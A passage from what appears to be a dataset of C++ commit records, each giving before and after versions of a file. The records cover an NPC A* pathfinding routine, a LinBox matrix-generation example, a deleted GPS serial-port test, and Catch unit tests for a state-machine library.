the closed list\n\t\t\tif (room_in_node_list(adjacent_room.x, adjacent_room.y, closed_list)) { continue; }\n\n\t\t\t\/\/ -- -- pass if we can not travel to it from the current room\n\t\t\tif (validate_movement(current_room.x, current_room.y, C::GROUND_INDEX, direction, dx, dy, 0, world) != C::GOOD_SIGNAL) { continue; }\n\n\t\t\t\/\/ -- -- if room is not on open list\n\t\t\tif (!room_in_node_list(adjacent_room.x, adjacent_room.y, open_list))\n\t\t\t{\n\t\t\t\t\/\/ -- -- -- Make current room the parent of adjacent\n\t\t\t\tadjacent_room.parent_x = current_room.x;\n\t\t\t\tadjacent_room.parent_y = current_room.y;\n\t\t\t\t\/\/ -- -- -- Record F, G, H costs of room\n\t\t\t\tadjacent_room.set_g_h_f(\n\t\t\t\t\tcurrent_room.g + (R::contains(C::primary_direction_ids, direction) ? C::AI_MOVEMENT_COST : C::AI_MOVEMENT_COST_DIAGONAL), \/\/ check if the movement is non-diagonal or diagonal\n\t\t\t\t\tR::diagonal_distance(x_dest, y_dest, adjacent_room.x, adjacent_room.y));\n\t\t\t}\n\t\t\t\/\/ -- -- (else room is on open list)\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ pull adjacent_room out of open_list\n\t\t\t\tfor (unsigned i = 0; i < open_list.size(); ++i) \/\/ for each node in the open list\n\t\t\t\t{\n\t\t\t\t\tif (open_list[i].x == adjacent_room.x && open_list[i].y == adjacent_room.y) \/\/ if the node is the current room\n\t\t\t\t\t{\n\t\t\t\t\t\tadjacent_room = get_node_at(adjacent_room.x, adjacent_room.y, open_list); \/\/ save it\n\t\t\t\t\t\topen_list.erase(open_list.begin() + i); \/\/ erase the original\n\t\t\t\t\t\tbreak; \/\/ adjacent_room is now the one from the list\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\/\/ -- -- if this g-cost to room is less than current g-cost to room\n\t\t\t\tif (current_room.g + (R::contains(C::primary_direction_ids, direction) ? C::AI_MOVEMENT_COST : C::AI_MOVEMENT_COST_DIAGONAL) < adjacent_room.g)\n\t\t\t\t{\n\t\t\t\t\t\/\/ -- -- -- update current room to new parent of room\n\t\t\t\t\tadjacent_room.parent_x = current_room.x;\n\t\t\t\t\tadjacent_room.parent_y = current_room.y;\n\t\t\t\t\t\/\/ -- -- -- update costs\n\t\t\t\t\tadjacent_room.set_g_h_f(\n\t\t\t\t\t\tcurrent_room.g + (R::contains(C::primary_direction_ids, direction) ? C::AI_MOVEMENT_COST : C::AI_MOVEMENT_COST_DIAGONAL), \/\/ check if the movement is non-diagonal or diagonal\n\t\t\t\t\t\tR::diagonal_distance(x_dest, y_dest, adjacent_room.x, adjacent_room.y));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/\/ -- -- -- Add room to open list\n\t\t\topen_list.push_back(adjacent_room);\n\n\t\t} \/\/ end for each adjacent room\n\n\t\t\/\/ keep searching if we have not reached the destination OR there are still rooms to search\n\t} while (!room_in_node_list(x_dest, y_dest, closed_list) || open_list.size() > 0);\n\n\t\/\/ Starting from target room, continue finding parent until the current room is found\n\t\/\/ (this represents the path in reverse)\n\n\t\/\/ get the target room\n\tNode current_room = get_node_at(x_dest, y_dest, closed_list);\n\n\t\/\/ if there is no target room in the closed list, a path could not be found\n\tif (current_room.x == -1 || current_room.y == -1) { return; }\n\n\tdo\n\t{\n\t\t\/\/ get the parent room\n\t\tNode parent_room = get_node_at(current_room.parent_x, current_room.parent_y, closed_list);\n\n\t\tcout << \"\\nI can get to \" << current_room.x << \",\" << current_room.y << \" from \" << parent_room.x << \",\" << parent_room.y << \".\";\n\n\t\t\/\/ if the parent of current_room is our location, move to current_room\n\t\tif (parent_room.x == this->x && parent_room.y == this->y)\n\t\t{\n\t\t\t\/\/ move to current\n\t\t\t\/\/this->move(C::opposite_direction_id.find(current_room.direction_from_parent)->second, world);\n\t\t\tmove(current_room.direction_from_parent, world);\n\n\t\t\t\/\/ debugging\n\t\t\tcout << endl;\n\t\t\tfor (const Node & node : closed_list)\n\t\t\t{\n\t\t\t\tcout << \"Parent of \" << node.x << \",\" << node.y << \" is \" << node.parent_x << \",\" << node.parent_y << endl <<\n\t\t\t\t\t\"Actual cost to reach this node: \" << node.g << \". Estimated cost to target: \" << node.h << endl << endl;\n\t\t\t}\n\n\t\t\treturn; \/\/ we're done here\n\t\t}\n\t\t\/\/ if there is no parent room in the closed list (?!)\n\t\telse if (parent_room.x == -1 || parent_room.y == -1)\n\t\t{\n\t\t\treturn; \/\/ something went horribly wrong\n\t\t}\n\n\t\t\/\/ move up the path by one room\n\t\tcurrent_room = parent_room;\n\n\t} while (true);\n}\n<commit_msg>comment out debug code<commit_after>\/* Jim Viebke\nJun 3 2015 *\/\n\n#include \"non_player_character.h\"\n\nvoid NPC::a_star_pathfind(const int & x_dest, const int & y_dest, World & world)\n{\n\t\/\/ leave this for debugging\n\t\/\/ cout << \"\\nSearching for path from \" << x << \",\" << y << \" to \" << x_dest << \",\" << y_dest << \".\\n\";\n\n\t\/* F = G + H\n\n\tG: actual cost to reach a certain room\n\tH: estimated cost to reach destination from a certain room\n\n\tf-cost = g + h *\/\n\n\tvector<Node> open_list, closed_list;\n\n\t\/\/ Add current room to open list.\n\topen_list.push_back(Node(this->x, this->y, \"\"));\n\t\/\/ calculate current room's costs. G cost starts at 0.\n\topen_list[0].set_g_h_f(0, R::diagonal_distance(x_dest, y_dest, this->x, this->y));\n\n\t\/\/ Do\n\tdo\n\t{\n\t\t\/*\/\/ -- Find lowest f-cost room on open list\n\t\t\/\/ -- Move it to closed list\n\t\tNode current_room = move_and_get_lowest_f_cost(open_list, closed_list); *\/\n\n\t\t\/\/ work through every open room\n\t\tNode current_room = open_list[0]; \/\/ copy\n\t\tclosed_list.push_back(current_room); \/\/ move to closed\n\t\topen_list.erase(open_list.begin()); \/\/ erase original\n\n\t\t\/\/ -- For each adjacent room to current\n\t\tfor (const string & direction : C::direction_ids)\n\t\t{\n\t\t\tif (direction == C::UP || direction == C::DOWN) { continue; } \/\/ only pathfinding in 2D now\n\n\t\t\t\/\/ calculate the location deltas\n\t\t\tint dx = 0, dy = 0, dz = 0;\n\t\t\tR::assign_movement_deltas(direction, dx, dy, dz);\n\n\t\t\t\/\/ skip if the room is out of bounds\n\t\t\tif (!R::bounds_check(current_room.x + dx, current_room.y + dy, C::GROUND_INDEX)) { continue; }\n\t\t\t\/\/ skip the room if it is not loaded\n\t\t\tif (world.room_at(current_room.x + dx, current_room.y + dy, C::GROUND_INDEX) == nullptr) { continue; }\n\t\t\t\/\/ skip the room if it is not within view distance\n\t\t\tif (!world.room_at(current_room.x + dx, current_room.y + dy, C::GROUND_INDEX)->is_observed_by(this->name)) { continue; }\n\n\t\t\t\/\/ create a node to select the next adjacent room\n\t\t\tNode adjacent_room(current_room.x + dx, current_room.y + dy, direction);\n\n\t\t\t\/\/ -- -- pass if it is on the closed list\n\t\t\tif (room_in_node_list(adjacent_room.x, adjacent_room.y, closed_list)) { continue; }\n\n\t\t\t\/\/ -- -- pass if we can not travel to it from the current room\n\t\t\tif (validate_movement(current_room.x, current_room.y, C::GROUND_INDEX, direction, dx, dy, 0, world) != C::GOOD_SIGNAL) { continue; }\n\n\t\t\t\/\/ -- -- if room is not on open list\n\t\t\tif (!room_in_node_list(adjacent_room.x, adjacent_room.y, open_list))\n\t\t\t{\n\t\t\t\t\/\/ -- -- -- Make current room the parent of adjacent\n\t\t\t\tadjacent_room.parent_x = current_room.x;\n\t\t\t\tadjacent_room.parent_y = current_room.y;\n\t\t\t\t\/\/ -- -- -- Record F, G, H costs of room\n\t\t\t\tadjacent_room.set_g_h_f(\n\t\t\t\t\tcurrent_room.g + (R::contains(C::primary_direction_ids, direction) ? C::AI_MOVEMENT_COST : C::AI_MOVEMENT_COST_DIAGONAL), \/\/ check if the movement is non-diagonal or diagonal\n\t\t\t\t\tR::diagonal_distance(x_dest, y_dest, adjacent_room.x, adjacent_room.y));\n\t\t\t}\n\t\t\t\/\/ -- -- (else room is on open list)\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ pull adjacent_room out of open_list\n\t\t\t\tfor (unsigned i = 0; i < open_list.size(); ++i) \/\/ for each node in the open list\n\t\t\t\t{\n\t\t\t\t\tif (open_list[i].x == adjacent_room.x && open_list[i].y == adjacent_room.y) \/\/ if the node is the current room\n\t\t\t\t\t{\n\t\t\t\t\t\tadjacent_room = get_node_at(adjacent_room.x, adjacent_room.y, open_list); \/\/ save it\n\t\t\t\t\t\topen_list.erase(open_list.begin() + i); \/\/ erase the original\n\t\t\t\t\t\tbreak; \/\/ adjacent_room is now the one from the list\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\/\/ -- -- if this g-cost to room is less than current g-cost to room\n\t\t\t\tif (current_room.g + (R::contains(C::primary_direction_ids, direction) ? C::AI_MOVEMENT_COST : C::AI_MOVEMENT_COST_DIAGONAL) < adjacent_room.g)\n\t\t\t\t{\n\t\t\t\t\t\/\/ -- -- -- update current room to new parent of room\n\t\t\t\t\tadjacent_room.parent_x = current_room.x;\n\t\t\t\t\tadjacent_room.parent_y = current_room.y;\n\t\t\t\t\t\/\/ -- -- -- update costs\n\t\t\t\t\tadjacent_room.set_g_h_f(\n\t\t\t\t\t\tcurrent_room.g + (R::contains(C::primary_direction_ids, direction) ? C::AI_MOVEMENT_COST : C::AI_MOVEMENT_COST_DIAGONAL), \/\/ check if the movement is non-diagonal or diagonal\n\t\t\t\t\t\tR::diagonal_distance(x_dest, y_dest, adjacent_room.x, adjacent_room.y));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/\/ -- -- -- Add room to open list\n\t\t\topen_list.push_back(adjacent_room);\n\n\t\t} \/\/ end for each adjacent room\n\n\t\t\/\/ keep searching if we have not reached the destination OR there are still rooms to search\n\t} while (\/*!room_in_node_list(x_dest, y_dest, closed_list) ||*\/ open_list.size() > 0);\n\n\t\/\/ Starting from target room, continue finding parent until the current room is found\n\t\/\/ (this represents the path in reverse)\n\n\t\/\/ get the target room\n\tNode current_room = get_node_at(x_dest, y_dest, closed_list);\n\n\t\/\/ if there is no target room in the closed list, a path could not be found\n\tif (current_room.x == -1 || current_room.y == -1) { return; }\n\n\tdo\n\t{\n\t\t\/\/ get the parent room\n\t\tNode parent_room = get_node_at(current_room.parent_x, current_room.parent_y, closed_list);\n\n\t\t\/\/ leave this here for debugging\n\t\t\/\/ cout << \"\\nI can get to \" << current_room.x << \",\" << current_room.y << \" from \" << parent_room.x << \",\" << parent_room.y << \".\";\n\n\t\t\/\/ if the parent of current_room is our location, move to current_room\n\t\tif (parent_room.x == this->x && parent_room.y == this->y)\n\t\t{\n\t\t\t\/\/ move to current\n\t\t\t\/\/this->move(C::opposite_direction_id.find(current_room.direction_from_parent)->second, world);\n\t\t\tmove(current_room.direction_from_parent, world);\n\n\t\t\t\/* leave this here for debugging\n\t\t\tcout << endl;\n\t\t\tfor (const Node & node : closed_list)\n\t\t\t{\n\t\t\t\tcout << \"Parent of \" << node.x << \",\" << node.y << \" is \" << node.parent_x << \",\" << node.parent_y << endl <<\n\t\t\t\t\t\"Actual cost to reach this node: \" << node.g << \". Estimated cost to target: \" << node.h << endl << endl;\n\t\t\t}*\/\n\n\t\t\treturn; \/\/ we're done here\n\t\t}\n\t\t\/\/ if there is no parent room in the closed list (?!)\n\t\telse if (parent_room.x == -1 || parent_room.y == -1)\n\t\t{\n\t\t\treturn; \/\/ something went horribly wrong\n\t\t}\n\n\t\t\/\/ move up the path by one room\n\t\tcurrent_room = parent_room;\n\n\t} while (true);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * examples\/matrices.C\n *\n * Copyright (C) 2017 D. Saunders, Z. Wang, J-G Dumas\n * ========LICENCE========\n * This file is part of the library LinBox.\n *\n * LinBox is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n * ========LICENCE========\n *\/\n\n\/** \\file examples\/matrices.C\n * @example examples\/matrices.C\n \\brief example matrices that were chosen for Smith form testing.\n \\ingroup examples\n\n \\author bds & zw\n\n Various Smith form algorithms may be used for matrices over the\n integers or over Z_m. Moduli greater than 2^32 are not supported here.\n Several types of example matrices may be constructed or the matrix be read from a file.\n Run the program with no arguments for a synopsis of the command line parameters.\n\n For the \"adaptive\" method, the matrix must be over the integers.\n This is expected to work best for large matrices.\n\n For the \"2local\" method, the computation is done mod 2^32.\n\n For the \"local\" method, the modulus must be a prime power.\n\n For the \"ilio\" method, the modulus may be arbitrary composite.\n If the modulus is a multiple of the integer determinant, the integer Smith form is obtained.\n Determinant plus ilio may be best for smaller matrices.\n\n This example was used during the design process of the adaptive algorithm.\n*\/\n\n#include <linbox\/linbox-config.h>\n#include <iostream>\n#include <string>\n\nusing namespace std;\n\n#include <linbox\/util\/timer.h>\n#include <linbox\/matrix\/dense-matrix.h>\n\n#include \"matrices.h\"\n\ntemplate <class PIR>\nvoid Mat(LinBox::DenseMatrix<PIR>& M, PIR& R, int & n, string src) ;\n\nint main(int argc, char* argv[])\n{\n\tif (argc < 3 or argc > 4) {\n\n\t\tcout << \"usage: \" << argv[0] << \" type n [filename]\" << endl;\n\n\t\tcout << \" type = `random', `random-rough', `tref', or `fib',\"\n\t\t\t << \" and n is the dimension\" << endl;\n\t\tcout << \" If filename is present, matrix is written there, else to cout.\" << endl;\n\n\t\treturn 0;\n\t}\n\n\tstring type = argv[1];\n\n\tint n = atoi(argv[2]);\n\n\/\/ place B: Edit here and at place A for ring change\n\t\/\/typedef PIRModular<int32_t> PIR;\n\ttypedef Givaro::ZRing<Givaro::Integer> PIR;\n\tPIR R;\n\tLinBox::DenseMatrix<PIR> M(R);\n\n\tMat(M,R,n,type);\n\n if (M.rowdim() <= 20 && M.coldim() <= 20) {\n M.write(std::clog, LinBox::Tag::FileFormat::Maple) << std::endl;\n }\n\n\tif (argc == 4) {\n\t\tofstream out(argv[3]);\n\t\tM.write(out) << endl;\n\t} else {\n\t\tM.write(cout) << endl;\n\t}\n}\/\/ main\n\n\n\/** Output matrix is determined by src which may be:\n \"random-rough\"\n This mat will have s, near sqrt(n), distinct invariant factors,\n each repeated twice), involving the s primes 101, 103, ...\n \"random\"\n This mat will have the same nontrivial invariant factors as\n diag(1,2,3,5,8, ... 999, 0, 1, 2, ...).\n \"fib\"\n This mat will have the same nontrivial invariant factors as\n diag(1,2,3,5,8, ... fib(k)), where k is about sqrt(n).\n The basic matrix is block diagonal with i-th block of order i and\n being a tridiagonal {-1,0,1} matrix whose snf = diag(i-1 1's, fib(i)),\n where fib(1) = 1, fib(2) = 2. But note that, depending on n,\n the last block may be truncated, thus repeating an earlier fibonacci number.\n \"file\" (or any other string)\n Also \"tref\" and file with format \"kdense\"\n *\/\ntemplate <class PIR>\nvoid Mat(LinBox::DenseMatrix<PIR>& M, PIR& R, int & n,\n string src) {\n\n\tif (src == \"random-rough\") RandomRoughMat(M, R, n);\n\n\telse if (src == \"random\") RandomFromDiagMat(M, R, n);\n\n\telse if (src == \"fib\") RandomFibMat(M, R, n);\n\n\telse if (src == \"tref\") TrefMat(M, R, n);\n\n\telse if (src == \"krat\") KratMat(M, R, n);\n\n\telse { \/\/ from cin, mostly pointless, but may effect a file format change.\n\n\t\t\tM.read(cin);\n\t\tn = M.rowdim();\n\t}\n\n} \/\/ Mat\n<commit_msg>add moler redheffer<commit_after>\/*\n * examples\/matrices.C\n *\n * Copyright (C) 2017 D. Saunders, Z. Wang, J-G Dumas\n * ========LICENCE========\n * This file is part of the library LinBox.\n *\n * LinBox is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n * ========LICENCE========\n *\/\n\n\/** \\file examples\/matrices.C\n * @example examples\/matrices.C\n \\brief example matrices that were chosen for Smith form testing.\n \\ingroup examples\n\n \\author bds & zw\n\n Various Smith form algorithms may be used for matrices over the\n integers or over Z_m. Moduli greater than 2^32 are not supported here.\n Several types of example matrices may be constructed or the matrix be read from a file.\n Run the program with no arguments for a synopsis of the command line parameters.\n\n For the \"adaptive\" method, the matrix must be over the integers.\n This is expected to work best for large matrices.\n\n For the \"2local\" method, the computation is done mod 2^32.\n\n For the \"local\" method, the modulus must be a prime power.\n\n For the \"ilio\" method, the modulus may be arbitrary composite.\n If the modulus is a multiple of the integer determinant, the integer Smith form is obtained.\n Determinant plus ilio may be best for smaller matrices.\n\n This example was used during the design process of the adaptive algorithm.\n*\/\n\n#include <linbox\/linbox-config.h>\n#include <iostream>\n#include <string>\n\nusing namespace std;\n\n#include <linbox\/util\/timer.h>\n#include <linbox\/matrix\/dense-matrix.h>\n\n#include \"matrices.h\"\n\ntemplate <class PIR>\nvoid Mat(LinBox::DenseMatrix<PIR>& M, PIR& R, int & n, string src) ;\n\nint main(int argc, char* argv[])\n{\n\tif (argc < 3 or argc > 4) {\n\n\t\tcout << \"usage: \" << argv[0] << \" type n [filename]\" << endl;\n\n\t\tcout << \" type = `random', `random-rough', `tref',\"\n << \" 'moler', 'redheffer', \"\n << \" or `fib',\"\n\t\t\t << \" and n is the dimension\" << endl;\n\t\tcout << \" If filename is present, matrix is written there, else to cout.\" << endl;\n\n\t\treturn 0;\n\t}\n\n\tstring type = argv[1];\n\n\tint n = atoi(argv[2]);\n\n\/\/ place B: Edit here and at place A for ring change\n\t\/\/typedef PIRModular<int32_t> PIR;\n\ttypedef Givaro::ZRing<Givaro::Integer> PIR;\n\tPIR R;\n\tLinBox::DenseMatrix<PIR> M(R);\n\n\tMat(M,R,n,type);\n\n if (M.rowdim() <= 20 && M.coldim() <= 20) {\n M.write(std::clog, LinBox::Tag::FileFormat::Maple) << std::endl;\n }\n\n\tif (argc == 4) {\n\t\tofstream out(argv[3]);\n\t\tM.write(out) << endl;\n\t} else {\n\t\tM.write(cout) << endl;\n\t}\n}\/\/ main\n\n\n\/** Output matrix is determined by src which may be:\n \"random-rough\"\n This mat will have s, near sqrt(n), distinct invariant factors,\n each repeated twice), involving the s primes 101, 103, ...\n \"random\"\n This mat will have the same nontrivial invariant factors as\n diag(1,2,3,5,8, ... 999, 0, 1, 2, ...).\n \"fib\"\n This mat will have the same nontrivial invariant factors as\n diag(1,2,3,5,8, ... fib(k)), where k is about sqrt(n).\n The basic matrix is block diagonal with i-th block of order i and\n being a tridiagonal {-1,0,1} matrix whose snf = diag(i-1 1's, fib(i)),\n where fib(1) = 1, fib(2) = 2. But note that, depending on n,\n the last block may be truncated, thus repeating an earlier fibonacci number.\n \"file\" (or any other string)\n Also \"tref\" and file with format \"kdense\"\n *\/\ntemplate <class PIR>\nvoid Mat(LinBox::DenseMatrix<PIR>& M, PIR& R, int & n,\n string src) {\n\n\tif (src == \"random-rough\") RandomRoughMat(M, R, n);\n\n\telse if (src == \"random\") RandomFromDiagMat(M, R, n);\n\n\telse if (src == \"fib\") RandomFibMat(M, R, n);\n\n\telse if (src == \"tref\") TrefMat(M, R, n);\n\n\telse if (src == \"krat\") KratMat(M, R, n);\n\n\telse if (src == \"moler\") MolerMat(M, R, n);\n\n\telse if (src == \"redheffer\") RedhefferMat(M, R, n);\n\n\telse { \/\/ from cin, mostly pointless, but may effect a file format change.\n\n\t\t\tM.read(cin);\n\t\tn = M.rowdim();\n\t}\n\n} \/\/ Mat\n<|endoftext|>"} {"text":"<commit_before>#include \"serial.h\"\n\nspeed_t baud = 4800;\nstd::string port = \"\/dev\/ttyUSB0\";\nSerial gps(baud, port, false);\n\nvoid readGPS()\n{\n\tfor(int i = 0; i < 4; ++i) {\n\t\t\n\t\twhile(gps.serialRead(1)) {\n\t\t\tif (gps.getData() == \"\\n\") break;\n\t\t\tstd::cout << gps.getData();\n\t\t}\n\t\tstd::cout << std::endl;\n\t}\n}\n\nvoid printConfig()\n{\n\ttermios cur_config = gps.getConfig();\n\tstd::cout << \"c_cflag: \" << cur_config.c_cflag << std::endl;\n\tstd::cout << \"c_iflag: \" << cur_config.c_iflag << std::endl;\n\tstd::cout << \"c_oflag: \" << cur_config.c_oflag << std::endl;\n\tstd::cout << \"c_lflag: \" << cur_config.c_lflag << std::endl;\n}\n\nint main()\n{\n\tprintConfig();\n\tstd::cout << \"Baud 1: \" << gps.getBaud() << std::endl;\n\tstd::cout << \"Applying change: \" << gps.applyNewConfig() << std::endl;\n\n\tbaud = 9600;\n\tstd::cout << \"Setting Baud to \" << baud << \": \" << gps.setBaud(baud) << std::endl;\n\tstd::cout << \"Applying change: \" << gps.applyNewConfig() << std::endl;\n\tstd::cout << \"Baud 2: \" << gps.getBaud() << std::endl;\n\t\n\tbaud = 4800;\n\tstd::cout << \"Setting Baud to \" << baud << \": \" << gps.setBaud(baud) << std::endl;\n\tstd::cout << \"Applying change: \" << gps.applyNewConfig() << std::endl;\n\treadGPS();\n\n\tbaud = 4800;\n\tstd::cout << \"Restoring baud to \" << baud << \": \" << gps.setBaud(baud) << std::endl;\n\tstd::cout << \"Applying change: \" << gps.applyNewConfig() << std::endl;\n std::cout << \"Baud 2: \" << gps.getBaud() << std::endl;\n readGPS();\n\t\n\treturn 0;\n}\n<commit_msg>Delete noCanon.cpp<commit_after><|endoftext|>"} {"text":"<commit_before>#include \"catch.hpp\"\n\n#include \"..\/statemachine.hpp\"\n\nusing namespace fsm11;\n\nusing StateMachine_t = fsm11::StateMachine<>;\nusing State_t = StateMachine_t::state_type;\n\nTEST_CASE(\"construct a state\", \"[state]\")\n{\n State_t s(\"name\");\n\n REQUIRE(s.childMode() == State_t::Exclusive);\n REQUIRE(!std::strcmp(s.name(), \"name\"));\n REQUIRE(s.parent() == 0);\n REQUIRE(s.isAtomic());\n REQUIRE(!s.isCompound());\n REQUIRE(!s.isParallel());\n REQUIRE(s.stateMachine() == 0);\n REQUIRE(!s.isActive());\n\n REQUIRE(s.beginTransitions() == s.endTransitions());\n REQUIRE(s.cbeginTransitions() == s.cendTransitions());\n}\n\nTEST_CASE(\"set the parent of a state\", \"[state]\")\n{\n State_t p1(\"p1\");\n State_t p2(\"p2\");\n\n State_t c(\"c\", &p1);\n REQUIRE(&p1 == c.parent());\n REQUIRE(!p1.isAtomic());\n REQUIRE(p2.isAtomic());\n\n c.setParent(&p2);\n REQUIRE(&p2 == c.parent());\n REQUIRE(p1.isAtomic());\n REQUIRE(!p2.isAtomic());\n\n c.setParent(&p1);\n REQUIRE(&p1 == c.parent());\n REQUIRE(!p1.isAtomic());\n REQUIRE(p2.isAtomic());\n}\n\nTEST_CASE(\"change the child mode\", \"[state]\")\n{\n State_t s(\"s\");\n State_t c(\"c\", &s);\n\n REQUIRE(State_t::Exclusive == s.childMode());\n REQUIRE(s.isCompound());\n REQUIRE(!s.isParallel());\n\n s.setChildMode(State_t::Parallel);\n REQUIRE(State_t::Parallel == s.childMode());\n REQUIRE(!s.isCompound());\n REQUIRE(s.isParallel());\n\n s.setChildMode(State_t::Exclusive);\n REQUIRE(State_t::Exclusive == s.childMode());\n REQUIRE(s.isCompound());\n REQUIRE(!s.isParallel());\n}\n\n#if 0\nTEST_CASE(\"find a child\", \"[state]\")\n{\n State_t p(\"p\");\n State_t c1(\"c1\", &p);\n State_t c2(\"c2\", &p);\n State_t c3(\"c3\", &p);\n State_t c11(\"c11\", &c1);\n State_t c12(\"c12\", &c1);\n State_t c31(\"c31\", &c3);\n State_t c32(\"c32\", &c3);\n\n State_t* found = p.findChild(\"c1\");\n REQUIRE(found != 0);\n REQUIRE(!std::strcmp(\"c1\", found->name()));\n\n found = p.findChild(\"c1\", \"c12\");\n REQUIRE(found != 0);\n REQUIRE(!std::strcmp(\"c12\", found->name()));\n}\n#endif\nTEST_CASE(\"hierarchy properties\", \"[state]\")\n{\n State_t p(\"p\");\n State_t c1(\"c1\", &p);\n State_t c2(\"c2\", &p);\n State_t c3(\"c3\", &p);\n State_t c11(\"c11\", &c1);\n State_t c12(\"c12\", &c1);\n State_t c31(\"c31\", &c3);\n State_t c32(\"c32\", &c3);\n\n REQUIRE(isAncestor(&p, &p));\n REQUIRE(isDescendant(&p, &p));\n\n REQUIRE(isAncestor(&p, &c1));\n REQUIRE(isAncestor(&p, &c2));\n REQUIRE(isAncestor(&p, &c3));\n REQUIRE(isAncestor(&p, &c11));\n REQUIRE(isAncestor(&p, &c12));\n REQUIRE(isAncestor(&p, &c31));\n REQUIRE(isAncestor(&p, &c32));\n\n REQUIRE(isAncestor(&c1, &c11));\n REQUIRE(isAncestor(&c1, &c12));\n REQUIRE(!isAncestor(&c1, &c31));\n REQUIRE(!isAncestor(&c1, &c32));\n}\n<commit_msg>More tests for the setters of State.<commit_after>#include \"catch.hpp\"\n\n#include \"..\/statemachine.hpp\"\n\nusing namespace fsm11;\n\nusing StateMachine_t = fsm11::StateMachine<>;\nusing State_t = StateMachine_t::state_type;\n\nTEST_CASE(\"construct a state\", \"[state]\")\n{\n State_t s(\"name\");\n\n REQUIRE(s.childMode() == State_t::Exclusive);\n REQUIRE(!std::strcmp(s.name(), \"name\"));\n REQUIRE(s.parent() == 0);\n REQUIRE(s.isAtomic());\n REQUIRE(!s.isCompound());\n REQUIRE(!s.isParallel());\n REQUIRE(s.stateMachine() == 0);\n REQUIRE(!s.isActive());\n\n REQUIRE(s.beginTransitions() == s.endTransitions());\n REQUIRE(s.cbeginTransitions() == s.cendTransitions());\n}\n\nTEST_CASE(\"set the parent of a state\", \"[state]\")\n{\n State_t p1(\"p1\");\n State_t p2(\"p2\");\n\n State_t c(\"c\", &p1);\n REQUIRE(&p1 == c.parent());\n REQUIRE(!p1.isAtomic());\n REQUIRE(p2.isAtomic());\n\n c.setParent(&p2);\n REQUIRE(&p2 == c.parent());\n REQUIRE(p1.isAtomic());\n REQUIRE(!p2.isAtomic());\n\n c.setParent(&p1);\n REQUIRE(&p1 == c.parent());\n REQUIRE(!p1.isAtomic());\n REQUIRE(p2.isAtomic());\n}\n\nTEST_CASE(\"set the state machine\", \"[state]\")\n{\n StateMachine_t sm1;\n State_t s1(\"s1\", &sm1);\n State_t s2(\"s2\");\n State_t s3(\"s3\", &s2);\n\n REQUIRE(s1.stateMachine() == &sm1);\n REQUIRE(s2.stateMachine() == 0);\n REQUIRE(s3.stateMachine() == 0);\n s2.setParent(&s1);\n REQUIRE(s1.stateMachine() == &sm1);\n REQUIRE(s2.stateMachine() == &sm1);\n REQUIRE(s3.stateMachine() == &sm1);\n\n State_t s4(\"s4\", &s2);\n REQUIRE(s4.stateMachine() == &sm1);\n\n REQUIRE(!s1.isAtomic());\n\n StateMachine_t sm2;\n s2.setParent(&sm2);\n\n REQUIRE(s1.stateMachine() == &sm1);\n REQUIRE(s2.stateMachine() == &sm2);\n REQUIRE(s3.stateMachine() == &sm2);\n REQUIRE(s4.stateMachine() == &sm2);\n\n REQUIRE(s1.isAtomic());\n}\n\nTEST_CASE(\"change the child mode\", \"[state]\")\n{\n State_t s(\"s\");\n State_t c(\"c\", &s);\n\n REQUIRE(State_t::Exclusive == s.childMode());\n REQUIRE(s.isCompound());\n REQUIRE(!s.isParallel());\n\n s.setChildMode(State_t::Parallel);\n REQUIRE(State_t::Parallel == s.childMode());\n REQUIRE(!s.isCompound());\n REQUIRE(s.isParallel());\n\n s.setChildMode(State_t::Exclusive);\n REQUIRE(State_t::Exclusive == s.childMode());\n REQUIRE(s.isCompound());\n REQUIRE(!s.isParallel());\n}\n\n#if 0\nTEST_CASE(\"find a child\", \"[state]\")\n{\n State_t p(\"p\");\n State_t c1(\"c1\", &p);\n State_t c2(\"c2\", &p);\n State_t c3(\"c3\", &p);\n State_t c11(\"c11\", &c1);\n State_t c12(\"c12\", &c1);\n State_t c31(\"c31\", &c3);\n State_t c32(\"c32\", &c3);\n\n State_t* found = p.findChild(\"c1\");\n REQUIRE(found != 0);\n REQUIRE(!std::strcmp(\"c1\", found->name()));\n\n found = p.findChild(\"c1\", \"c12\");\n REQUIRE(found != 0);\n REQUIRE(!std::strcmp(\"c12\", found->name()));\n}\n#endif\nTEST_CASE(\"state relationship\", \"[state]\")\n{\n State_t p(\"p\");\n State_t c1(\"c1\", &p);\n State_t c2(\"c2\", &p);\n State_t c3(\"c3\", &p);\n State_t c11(\"c11\", &c1);\n State_t c12(\"c12\", &c1);\n State_t c31(\"c31\", &c3);\n State_t c32(\"c32\", &c3);\n\n REQUIRE(isAncestor(&p, &p));\n REQUIRE(isDescendant(&p, &p));\n\n REQUIRE(isAncestor(&p, &c1));\n REQUIRE(isAncestor(&p, &c2));\n REQUIRE(isAncestor(&p, &c3));\n REQUIRE(isAncestor(&p, &c11));\n REQUIRE(isAncestor(&p, &c12));\n REQUIRE(isAncestor(&p, &c31));\n REQUIRE(isAncestor(&p, &c32));\n\n REQUIRE(isAncestor(&c1, &c11));\n REQUIRE(isAncestor(&c1, &c12));\n REQUIRE(!isAncestor(&c1, &c31));\n REQUIRE(!isAncestor(&c1, &c32));\n\n 